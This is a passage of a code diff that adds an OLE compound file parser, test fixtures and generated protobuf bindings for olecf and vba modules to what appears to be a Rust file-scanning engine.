= count(le_u32, possible).parse(rest)?; + let mut filtered = entries + .into_iter() + .filter(|&x| x < MAX_REGULAR_SECTOR) + .collect::>(); + self.fat_sectors.append(&mut filtered); + input = rest2; + } else { + let (rest2, entries) = count(le_u32, 109).parse(rest)?; + let mut filtered = entries + .into_iter() + .filter(|&x| x < MAX_REGULAR_SECTOR) + .collect::>(); + self.fat_sectors.append(&mut filtered); + input = rest2; + } + + // Follow the DIFAT chain if present. + let mut next_difat_sector = first_difat_sector; + let entries_per_sector = self.sector_size / 4; + + // Bound fat_sectors to what a file of this size can legitimately need. + let max_fat_sectors = + (self.data.len() / self.sector_size / entries_per_sector) + 2; + + let mut visited_difat = std::collections::HashSet::new(); + + for _ in 0..difat_count { + if next_difat_sector >= MAX_REGULAR_SECTOR + || next_difat_sector == ENDOFCHAIN + { + break; + } + + // Stop if this DIFAT sector was already processed (cycle detection). + if !visited_difat.insert(next_difat_sector) { + break; + } + + let sector_data = match self.read_sector(next_difat_sector) { + Ok(data) => data, + Err(_) => break, + }; + + // The first (entries_per_sector - 1) entries point to FAT sectors + for i in 0..(entries_per_sector - 1) { + if self.fat_sectors.len() >= max_fat_sectors { + break; + } + let fat_sec = match parse_u32_at(sector_data, i * 4) { + Ok(sec) => sec, + Err(_) => break, + }; + if fat_sec < MAX_REGULAR_SECTOR { + self.fat_sectors.push(fat_sec); + } + } + + if self.fat_sectors.len() >= max_fat_sectors { + break; + } + + // The last entry points to the next DIFAT sector + next_difat_sector = match parse_u32_at( + sector_data, + (entries_per_sector - 1) * 4, + ) { + Ok(sec) => sec, + Err(_) => break, + }; + } + + // (C) Directory chain + if first_dir_sector < MAX_REGULAR_SECTOR { + self.directory_sectors = self.follow_chain(first_dir_sector); + } else { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + // (D) MiniFAT chain + if mini_fat_count > 0 && first_mini_fat < MAX_REGULAR_SECTOR { + self.mini_fat_sectors = self.follow_chain(first_mini_fat); + } + + // (E) If no FAT sectors but num_fat_sectors != 0 => error + if self.fat_sectors.is_empty() && num_fat_sectors > 0 { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + Ok((input, ())) + } + + fn parse_directory(&mut self, _input: &'a [u8]) -> IResult<&'a [u8], ()> { + if self.directory_sectors.is_empty() { + return Err(nom::Err::Error(NomError::new( + _input, + ErrorKind::Verify, + ))); + } + + for §or in &self.directory_sectors { + let mut entry_offset = 0u64; + + while entry_offset + DIRECTORY_ENTRY_SIZE + <= self.sector_size as u64 + { + let abs_offset = + self.sector_to_offset(sector).saturating_add(entry_offset); + + if abs_offset.saturating_add(DIRECTORY_ENTRY_SIZE) + > self.data.len() as u64 + { + break; + } + + if let Ok(entry) = + self.read_directory_entry(abs_offset as usize) + { + if entry.stream_type == ROOT_STORAGE_TYPE { + self.mini_stream_start = entry.start_sector; + self.mini_stream_size = entry.size; + } + if entry.stream_type == STORAGE_TYPE + || entry.stream_type == STREAM_TYPE + || entry.stream_type == ROOT_STORAGE_TYPE + { + let overwrite = match self.dir_entries.get(&entry.name) { + Some(existing) => { + entry.stream_type == STREAM_TYPE + || existing.stream_type != STREAM_TYPE + } + None => true, + }; + if overwrite { + self.dir_entries.insert(entry.name.clone(), entry); + } + } + } + entry_offset += DIRECTORY_ENTRY_SIZE; + } + } + + Ok((_input, ())) + } + + pub fn is_valid_header(&self) -> bool { + self.data.len() >= OLECF_SIGNATURE.len() + && &self.data[..OLECF_SIGNATURE.len()] == OLECF_SIGNATURE + } + + pub fn get_stream_names(&self) -> Result, &'static str> { + if self.dir_entries.is_empty() { + return Err("No streams found"); + } + Ok(self.dir_entries.keys().cloned().collect()) + } + + pub fn get_streams( + &self, + ) -> impl Iterator { + self.dir_entries.iter().map(|(k, v)| (k.as_str(), v)) + } + + pub fn get_stream_size( + &self, + stream_name: &str, + ) -> Result { + self.dir_entries + .get(stream_name) + .map(|e| e.size) + .ok_or("Stream not found") + } + + pub fn get_stream_data( + &self, + stream_name: &str, + ) -> Result, &'static str> { + let entry = + self.dir_entries.get(stream_name).ok_or("Stream not found")?; + + if entry.size < 4096 && entry.stream_type != ROOT_STORAGE_TYPE { + self.get_mini_stream_data(entry.start_sector, entry.size) + } else { + self.get_regular_stream_data(entry.start_sector, entry.size) + } + } + + fn sector_to_offset(&self, sector: u32) -> u64 { + // The first sector begins at byte offset 512. The theoretical maximum + // offset for a v3 OLE file (512-byte sectors, max sector number + // 0xFFFFFFF9) is ~2 TB, so the result must be u64 — it does not fit + // in a 32-bit usize on 32-bit targets. + 512u64 + sector as u64 * self.sector_size as u64 + } + + fn read_sector(&self, sector: u32) -> Result<&'a [u8], &'static str> { + let offset = self.sector_to_offset(sector); + // Narrow to usize for slice indexing; any offset that doesn't fit in + // usize is necessarily beyond the in-memory data slice. + let offset = usize::try_from(offset) + .map_err(|_| "Sector offset exceeds address space")?; + if offset + self.sector_size > self.data.len() { + return Err("Sector read out of bounds"); + } + Ok(&self.data[offset..offset + self.sector_size]) + } + + fn get_fat_entry(&self, sector: u32) -> Result { + let entry_index = sector as usize; + let entries_per_sector = self.sector_size / 4; + let fat_sector_index = entry_index / entries_per_sector; + if fat_sector_index >= self.fat_sectors.len() { + return Err("FAT entry sector index out of range"); + } + let fat_sector = self.fat_sectors[fat_sector_index]; + let fat = self.read_sector(fat_sector)?; + let fat_entry_offset = (entry_index % entries_per_sector) * 4; + parse_u32_at(fat, fat_entry_offset) + } + + fn follow_chain(&self, start_sector: u32) -> Vec { + let mut chain = Vec::new(); + if start_sector >= MAX_REGULAR_SECTOR { + return chain; + } + + let mut current = start_sector; + while current < MAX_REGULAR_SECTOR { + // Prevent cycles by keeping track of visited sectors + if chain.contains(¤t) { + // We've seen this sector before - it's a cycle + break; + } + + chain.push(current); + + let next = match self.get_fat_entry(current) { + Ok(n) => n, + Err(_) => break, + }; + + // Check validity of next sector + if next >= MAX_REGULAR_SECTOR + || next == FREESECT + || next == ENDOFCHAIN + { + break; + } + + current = next; + } + chain + } + + fn read_directory_entry( + &self, + offset: usize, + ) -> Result { + if offset + 128 > self.data.len() { + return Err("Incomplete directory entry"); + } + + let name_len = parse_u16_at(self.data, offset + 64)? as usize; + if !(2..=64).contains(&name_len) { + return Err("Invalid name length"); + } + + let name_bytes = &self.data[offset..offset + name_len]; + + // The name length stored is in bytes (including the null terminator). + // Since it is UTF-16 LE, each character takes 2 bytes. + // The length of units should exclude the trailing null character (2 bytes). + let name_units_len = (name_len / 2).saturating_sub(1); + let mut utf16_units = Vec::with_capacity(name_units_len); + for i in 0..name_units_len { + let unit = parse_u16_at(name_bytes, i * 2)?; + utf16_units.push(unit); + } + + let mut name = String::from_utf16(&utf16_units) + .map_err(|_| "Invalid UTF-16 stream name")?; + + // According to Microsoft OLE Compound File Binary Format specifications, + // standard system streams are prefixed with leading control bytes: + // - U+0005 (e.g., \u{0005}SummaryInformation, \u{0005}DocumentSummaryInformation) + // defined in [MS-OLEPS] Section 2.21. + // - U+0001 (e.g., \u{0001}CompObj, \u{0001}Ole) + // defined in standard OLE Compound Document specs for system streams. + // + // We strip these leading control characters (values < '\u{20}') to + // prevent control characters from breaking standard JSON/YAML + // serializers. + if name.starts_with(|c: char| c < '\u{20}') { + name.remove(0); + } + + let stream_type = self.data[offset + 66]; + let start_sector = parse_u32_at(self.data, offset + 116)?; + let size_32 = parse_u32_at(self.data, offset + 120)?; + let size = size_32 as u64; + + Ok(DirectoryEntry { name, size, start_sector, stream_type }) + } + + fn get_regular_stream_data( + &self, + start_sector: u32, + size: u64, + ) -> Result, &'static str> { + if size > MAX_STREAM_SIZE { + return Err("Stream size exceeds maximum allowed size"); + } + + let mut data = Vec::with_capacity(size as usize); + let mut current_sector = start_sector; + let mut total_read = 0; + + while current_sector < MAX_REGULAR_SECTOR && total_read < size as usize + { + let sector_data = self.read_sector(current_sector)?; + let bytes_to_read = + std::cmp::min(self.sector_size, size as usize - total_read); + + data.extend_from_slice(§or_data[..bytes_to_read]); + total_read += bytes_to_read; + + if total_read < size as usize { + let next = self.get_fat_entry(current_sector)?; + if next == ENDOFCHAIN || next >= MAX_REGULAR_SECTOR { + break; + } + current_sector = next; + } + } + + if data.len() != size as usize { + return Err("Incomplete stream data"); + } + + Ok(data) + } + + fn get_root_mini_stream_data(&self) -> Result, &'static str> { + self.get_regular_stream_data( + self.mini_stream_start, + self.mini_stream_size, + ) + } + + fn get_minifat_entry( + &self, + mini_sector: u32, + ) -> Result { + if self.mini_fat_sectors.is_empty() { + return Ok(ENDOFCHAIN); + } + + let entry_index = mini_sector as usize; + let entries_per_sector = self.sector_size / 4; + let fat_sector_index = entry_index / entries_per_sector; + if fat_sector_index >= self.mini_fat_sectors.len() { + return Ok(ENDOFCHAIN); + } + let sector = self.mini_fat_sectors[fat_sector_index]; + let fat = self.read_sector(sector)?; + let offset = (entry_index % entries_per_sector) * 4; + parse_u32_at(fat, offset) + } + + fn get_mini_stream_data( + &self, + start_mini_sector: u32, + size: u64, + ) -> Result, &'static str> { + if size > MAX_STREAM_SIZE { + return Err("Stream size exceeds maximum allowed size"); + } + + if self.mini_stream_size == 0 { + return Err("No mini stream present"); + } + + let mini_stream_data = self.get_root_mini_stream_data()?; + let mini_data_len = mini_stream_data.len(); + + let mut data = Vec::with_capacity(size as usize); + let mut current = start_mini_sector; + let mut visited = Vec::new(); + + while current < MAX_REGULAR_SECTOR && data.len() < size as usize { + if visited.contains(¤t) { + return Err("Circular reference detected in MiniFAT chain"); + } + visited.push(current); + + let mini_offset = + usize::try_from(current as u64 * self.mini_sector_size as u64) + .map_err(|_| "Mini sector offset exceeds address space")?; + + if mini_offset >= mini_data_len { + return Err("Mini stream offset out of range"); + } + + let bytes_to_read = std::cmp::min( + self.mini_sector_size, + size as usize - data.len(), + ); + if mini_offset + bytes_to_read > mini_data_len { + return Err("Mini stream extends beyond available data"); + } + + data.extend_from_slice( + &mini_stream_data[mini_offset..mini_offset + bytes_to_read], + ); + + if data.len() < size as usize { + let next = self.get_minifat_entry(current)?; + if next == ENDOFCHAIN || next >= MAX_REGULAR_SECTOR { + break; + } + current = next; + } + } + + if data.len() != size as usize { + return Err("Incomplete mini stream data"); + } + + Ok(data) + } +} + +fn parse_u16_at(data: &[u8], offset: usize) -> Result { + if offset + 2 > data.len() { + return Err("Buffer too small for u16"); + } + let slice = &data[offset..offset + 2]; + match le_u16::<&[u8], NomError<&[u8]>>(slice) { + Ok((_, val)) => Ok(val), + Err(_) => Err("Failed to parse u16"), + } +} + +fn parse_u32_at(data: &[u8], offset: usize) -> Result { + if offset + 4 > data.len() { + return Err("Buffer too small for u32"); + } + let slice = &data[offset..offset + 4]; + match le_u32::<&[u8], NomError<&[u8]>>(slice) { + Ok((_, val)) => Ok(val), + Err(_) => Err("Failed to parse u32"), + } +} diff --git a/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip new file mode 100644 index 00000000..2236f51f Binary files /dev/null and b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip differ diff --git a/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out new file mode 100644 index 00000000..644d7599 --- /dev/null +++ b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out @@ -0,0 +1,20 @@ +is_olecf: true +streams: + - name: "Root Entry" + type: ROOT + size: 128 + - name: "1Table" + type: STREAM + size: 7273 + - name: "WordDocument" + type: STREAM + size: 4096 + - name: "SummaryInformation" + type: STREAM + size: 4096 + - name: "DocumentSummaryInformation" + type: STREAM + size: 4096 + - name: "CompObj" + type: STREAM + size: 114 \ No newline at end of file diff --git a/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip new file mode 100644 index 00000000..2e6f897d Binary files /dev/null and b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip differ diff --git a/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out new file mode 100644 index 00000000..531595cc --- /dev/null +++ b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out @@ -0,0 +1 @@ +is_olecf: true \ No newline at end of file diff --git a/lib/src/modules/pe/mod.rs b/lib/src/modules/pe/mod.rs index 142d1ad6..a9385a54 100644 --- a/lib/src/modules/pe/mod.rs +++ b/lib/src/modules/pe/mod.rs @@ -35,7 +35,7 @@ thread_local!( static CHECKSUM_CACHE: RefCell> = const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { IMPHASH_CACHE.with(|cache| *cache.borrow_mut() = None); CHECKSUM_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/protos/generated/mod.rs b/lib/src/modules/protos/generated/mod.rs index 146e005e..63f51672 100644 --- a/lib/src/modules/protos/generated/mod.rs +++ b/lib/src/modules/protos/generated/mod.rs @@ -18,6 +18,7 @@ pub mod magic; pub mod math; pub mod mods; pub mod net_analysis; +pub mod olecf; pub mod pe; pub mod sandbox; pub mod sigma; @@ -27,5 +28,7 @@ pub mod test_proto2; pub mod test_proto3; pub mod time; pub mod titan; +pub mod vba; pub mod vtnet; pub mod yara; +pub mod zip; diff --git a/lib/src/modules/protos/generated/mods.rs b/lib/src/modules/protos/generated/mods.rs index a355e446..4caddb5d 100644 --- a/lib/src/modules/protos/generated/mods.rs +++ b/lib/src/modules/protos/generated/mods.rs @@ -38,6 +38,10 @@ pub struct Modules { pub macho: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.lnk) pub lnk: ::protobuf::MessageField, + // @@protoc_insertion_point(field:mods.Modules.olecf) + pub olecf: ::protobuf::MessageField, + // @@protoc_insertion_point(field:mods.Modules.vba) + pub vba: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.crx) pub crx: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.dex) @@ -59,7 +63,7 @@ impl Modules { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(7); + let mut fields = ::std::vec::Vec::with_capacity(9); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::pe::PE>( "pe", @@ -86,6 +90,16 @@ impl Modules { |m: &Modules| { &m.lnk }, |m: &mut Modules| { &mut m.lnk }, )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::olecf::Olecf>( + "olecf", + |m: &Modules| { &m.olecf }, + |m: &mut Modules| { &mut m.olecf }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::vba::Vba>( + "vba", + |m: &Modules| { &m.vba }, + |m: &mut Modules| { &mut m.vba }, + )); fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::crx::Crx>( "crx", |m: &Modules| { &m.crx }, @@ -133,6 +147,16 @@ impl ::protobuf::Message for Modules { return false; } }; + for v in &self.olecf { + if !v.is_initialized() { + return false; + } + }; + for v in &self.vba { + if !v.is_initialized() { + return false; + } + }; for v in &self.crx { if !v.is_initialized() { return false; @@ -165,9 +189,15 @@ impl ::protobuf::Message for Modules { ::protobuf::rt::read_singular_message_into_field(is, &mut self.lnk)?; }, 50 => { - ::protobuf::rt::read_singular_message_into_field(is, &mut self.crx)?; + ::protobuf::rt::read_singular_message_into_field(is, &mut self.olecf)?; }, 58 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.vba)?; + }, + 66 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.crx)?; + }, + 74 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.dex)?; }, tag => { @@ -202,6 +232,14 @@ impl ::protobuf::Message for Modules { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + if let Some(v) = self.olecf.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } + if let Some(v) = self.vba.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } if let Some(v) = self.crx.as_ref() { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; @@ -231,12 +269,18 @@ impl ::protobuf::Message for Modules { if let Some(v) = self.lnk.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(5, v, os)?; } - if let Some(v) = self.crx.as_ref() { + if let Some(v) = self.olecf.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(6, v, os)?; } - if let Some(v) = self.dex.as_ref() { + if let Some(v) = self.vba.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(7, v, os)?; } + if let Some(v) = self.crx.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(8, v, os)?; + } + if let Some(v) = self.dex.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(9, v, os)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -259,6 +303,8 @@ impl ::protobuf::Message for Modules { self.dotnet.clear(); self.macho.clear(); self.lnk.clear(); + self.olecf.clear(); + self.vba.clear(); self.crx.clear(); self.dex.clear(); self.special_fields.clear(); @@ -271,6 +317,8 @@ impl ::protobuf::Message for Modules { dotnet: ::protobuf::MessageField::none(), macho: ::protobuf::MessageField::none(), lnk: ::protobuf::MessageField::none(), + olecf: ::protobuf::MessageField::none(), + vba: ::protobuf::MessageField::none(), crx: ::protobuf::MessageField::none(), dex: ::protobuf::MessageField::none(), special_fields: ::protobuf::SpecialFields::new(), @@ -299,13 +347,15 @@ impl ::protobuf::reflect::ProtobufValue for Modules { static file_descriptor_proto_data: &'static [u8] = b"\ \n\nmods.proto\x12\x04mods\x1a\nyara.proto\x1a\tcrx.proto\x1a\tdex.proto\ \x1a\x0cdotnet.proto\x1a\telf.proto\x1a\x08pe.proto\x1a\tlnk.proto\x1a\ - \x0bmacho.proto\"\xdd\x01\n\x07Modules\x12\x16\n\x02pe\x18\x01\x20\x01(\ - \x0b2\x06.pe.PER\x02pe\x12\x1a\n\x03elf\x18\x02\x20\x01(\x0b2\x08.elf.EL\ - FR\x03elf\x12&\n\x06dotnet\x18\x03\x20\x01(\x0b2\x0e.dotnet.DotnetR\x06d\ - otnet\x12\"\n\x05macho\x18\x04\x20\x01(\x0b2\x0c.macho.MachoR\x05macho\ - \x12\x1a\n\x03lnk\x18\x05\x20\x01(\x0b2\x08.lnk.LnkR\x03lnk\x12\x1a\n\ - \x03crx\x18\x06\x20\x01(\x0b2\x08.crx.CrxR\x03crx\x12\x1a\n\x03dex\x18\ - \x07\x20\x01(\x0b2\x08.dex.DexR\x03dexb\x06proto2\ + \x0bmacho.proto\x1a\x0bolecf.proto\x1a\tvba.proto\"\x9d\x02\n\x07Modules\ + \x12\x16\n\x02pe\x18\x01\x20\x01(\x0b2\x06.pe.PER\x02pe\x12\x1a\n\x03elf\ + \x18\x02\x20\x01(\x0b2\x08.elf.ELFR\x03elf\x12&\n\x06dotnet\x18\x03\x20\ + \x01(\x0b2\x0e.dotnet.DotnetR\x06dotnet\x12\"\n\x05macho\x18\x04\x20\x01\ + (\x0b2\x0c.macho.MachoR\x05macho\x12\x1a\n\x03lnk\x18\x05\x20\x01(\x0b2\ + \x08.lnk.LnkR\x03lnk\x12\"\n\x05olecf\x18\x06\x20\x01(\x0b2\x0c.olecf.Ol\ + ecfR\x05olecf\x12\x1a\n\x03vba\x18\x07\x20\x01(\x0b2\x08.vba.VbaR\x03vba\ + \x12\x1a\n\x03crx\x18\x08\x20\x01(\x0b2\x08.crx.CrxR\x03crx\x12\x1a\n\ + \x03dex\x18\t\x20\x01(\x0b2\x08.dex.DexR\x03dexb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -322,7 +372,7 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); file_descriptor.get(|| { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { - let mut deps = ::std::vec::Vec::with_capacity(8); + let mut deps = ::std::vec::Vec::with_capacity(10); deps.push(super::yara::file_descriptor().clone()); deps.push(super::crx::file_descriptor().clone()); deps.push(super::dex::file_descriptor().clone()); @@ -331,6 +381,8 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { deps.push(super::pe::file_descriptor().clone()); deps.push(super::lnk::file_descriptor().clone()); deps.push(super::macho::file_descriptor().clone()); + deps.push(super::olecf::file_descriptor().clone()); + deps.push(super::vba::file_descriptor().clone()); let mut messages = ::std::vec::Vec::with_capacity(1); messages.push(Modules::generated_message_descriptor_data()); let mut enums = ::std::vec::Vec::with_capacity(0); diff --git a/lib/src/modules/protos/generated/olecf.rs b/lib/src/modules/protos/generated/olecf.rs new file mode 100644 index 00000000..074fed48 --- /dev/null +++ b/lib/src/modules/protos/generated/olecf.rs @@ -0,0 +1,557 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `olecf.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:olecf.Olecf) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Olecf { + // message fields + // @@protoc_insertion_point(field:olecf.Olecf.is_olecf) + pub is_olecf: ::std::option::Option, + // @@protoc_insertion_point(field:olecf.Olecf.streams) + pub streams: ::std::vec::Vec, + // special fields + // @@protoc_insertion_point(special_field:olecf.Olecf.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Olecf { + fn default() -> &'a Olecf { + ::default_instance() + } +} + +impl Olecf { + pub fn new() -> Olecf { + ::std::default::Default::default() + } + + // required bool is_olecf = 1; + + pub fn is_olecf(&self) -> bool { + self.is_olecf.unwrap_or(false) + } + + pub fn clear_is_olecf(&mut self) { + self.is_olecf = ::std::option::Option::None; + } + + pub fn has_is_olecf(&self) -> bool { + self.is_olecf.is_some() + } + + // Param is passed by value, moved + pub fn set_is_olecf(&mut self, v: bool) { + self.is_olecf = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(2); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "is_olecf", + |m: &Olecf| { &m.is_olecf }, + |m: &mut Olecf| { &mut m.is_olecf }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "streams", + |m: &Olecf| { &m.streams }, + |m: &mut Olecf| { &mut m.streams }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Olecf", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Olecf { + const NAME: &'static str = "Olecf"; + + fn is_initialized(&self) -> bool { + if self.is_olecf.is_none() { + return false; + } + for v in &self.streams { + if !v.is_initialized() { + return false; + } + }; + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.is_olecf = ::std::option::Option::Some(is.read_bool()?); + }, + 18 => { + self.streams.push(is.read_message()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.is_olecf { + my_size += 1 + 1; + } + for value in &self.streams { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.is_olecf { + os.write_bool(1, v)?; + } + for v in &self.streams { + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; + }; + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Olecf { + Olecf::new() + } + + fn clear(&mut self) { + self.is_olecf = ::std::option::Option::None; + self.streams.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Olecf { + static instance: Olecf = Olecf { + is_olecf: ::std::option::Option::None, + streams: ::std::vec::Vec::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Olecf { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Olecf").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Olecf { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Olecf { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:olecf.Stream) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Stream { + // message fields + // @@protoc_insertion_point(field:olecf.Stream.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:olecf.Stream.type) + pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:olecf.Stream.size) + pub size: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:olecf.Stream.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Stream { + fn default() -> &'a Stream { + ::default_instance() + } +} + +impl Stream { + pub fn new() -> Stream { + ::std::default::Default::default() + } + + // required string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // required .olecf.StreamType type = 2; + + pub fn type_(&self) -> StreamType { + match self.type_ { + Some(e) => e.enum_value_or(StreamType::UNKNOWN), + None => StreamType::UNKNOWN, + } + } + + pub fn clear_type_(&mut self) { + self.type_ = ::std::option::Option::None; + } + + pub fn has_type(&self) -> bool { + self.type_.is_some() + } + + // Param is passed by value, moved + pub fn set_type(&mut self, v: StreamType) { + self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // required uint64 size = 3; + + pub fn size(&self) -> u64 { + self.size.unwrap_or(0) + } + + pub fn clear_size(&mut self) { + self.size = ::std::option::Option::None; + } + + pub fn has_size(&self) -> bool { + self.size.is_some() + } + + // Param is passed by value, moved + pub fn set_size(&mut self, v: u64) { + self.size = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &Stream| { &m.name }, + |m: &mut Stream| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "type", + |m: &Stream| { &m.type_ }, + |m: &mut Stream| { &mut m.type_ }, + )); + 